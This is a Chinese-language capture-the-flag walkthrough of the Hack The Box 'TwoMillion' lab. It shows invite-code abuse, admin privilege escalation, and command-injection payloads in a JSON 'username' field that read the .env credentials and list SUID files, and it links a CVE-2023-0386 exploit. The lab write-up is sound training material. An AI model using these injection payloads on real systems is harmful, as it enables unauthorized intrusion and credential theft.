HTB TwoMilion

先扫一下端口,22和80开放

进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器

需要

复制代码
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

卡了半天总算进来了

注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆

复制代码
var verifyInviteCode = function(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

var makeInviteCode = function() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

得到两个函数,一个向服务器验证邀请码,一个制造邀请码

试一下制造邀请码,发现

rot13解密新端点,

复制代码
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}

访问拿到base64加密过的邀请码

注册一个用户进来

进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch

复制代码
sudo su
apt-get install dirsearch

出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成

因为有了登录,所以我们看一下可用的api有哪些

接下来可能需要这些api完成提权操作

我们向update user settings这里抓个包看看,根据它的需要补齐json数据

到这里应该就完成提权了

测试一下admin的几个api,发现vpn这个可以命令注入

复制代码
/home/admin/user.txt: Permission denied

有flag,但是没权限

接下来用kali接收反弹的shell

复制代码
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.35/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1021/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

但是环境是php,用find找找环境变量.env在哪

复制代码
;find .;cat ./.env

发现数据库的登录名和密码

复制代码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

kali新开一个终端进行ssh登录,拿到admin用户

看看suid

复制代码
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}

发现CVE,大概率是要用这个提权了

https://github.com/Fanxiaoyao66/CVE-2023-0386

虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以

突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的

相关推荐
Eason_LYC4 天前
【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程
java·渗透测试·tomcat·java反序列化·rce·远程代码执行漏洞·cve-2026-34486
SmileAndFun5 天前
收到安全通报后,如何划分责任做存证溯源?
安全·网络安全·渗透测试·等保测评·溯源取证·监管通报·电子存证
文章永久免费只为良心5 天前
Wi-Fi 渗透测试完全指南:从监听模式到高级攻击(合法授权专用)
网络安全·渗透测试·红队专用·渗透测试网络测试
世界尽头与你8 天前
JavaMelody 未授权访问漏洞
网络安全·信息安全·渗透测试·dast
vortex58 天前
Unix 通配符注入攻击:从参数污染到命令执行
网络安全·渗透测试·unix
刘婉晴8 天前
记一次渗透测试流程
渗透测试
安全小白wula9 天前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
世界尽头与你9 天前
Spring Boot Watcher 未授权访问漏洞
spring boot·安全·网络安全·渗透测试
Sombra_Olivia12 天前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
李白你好13 天前
一款面向渗透测试人员的综合工具集
渗透测试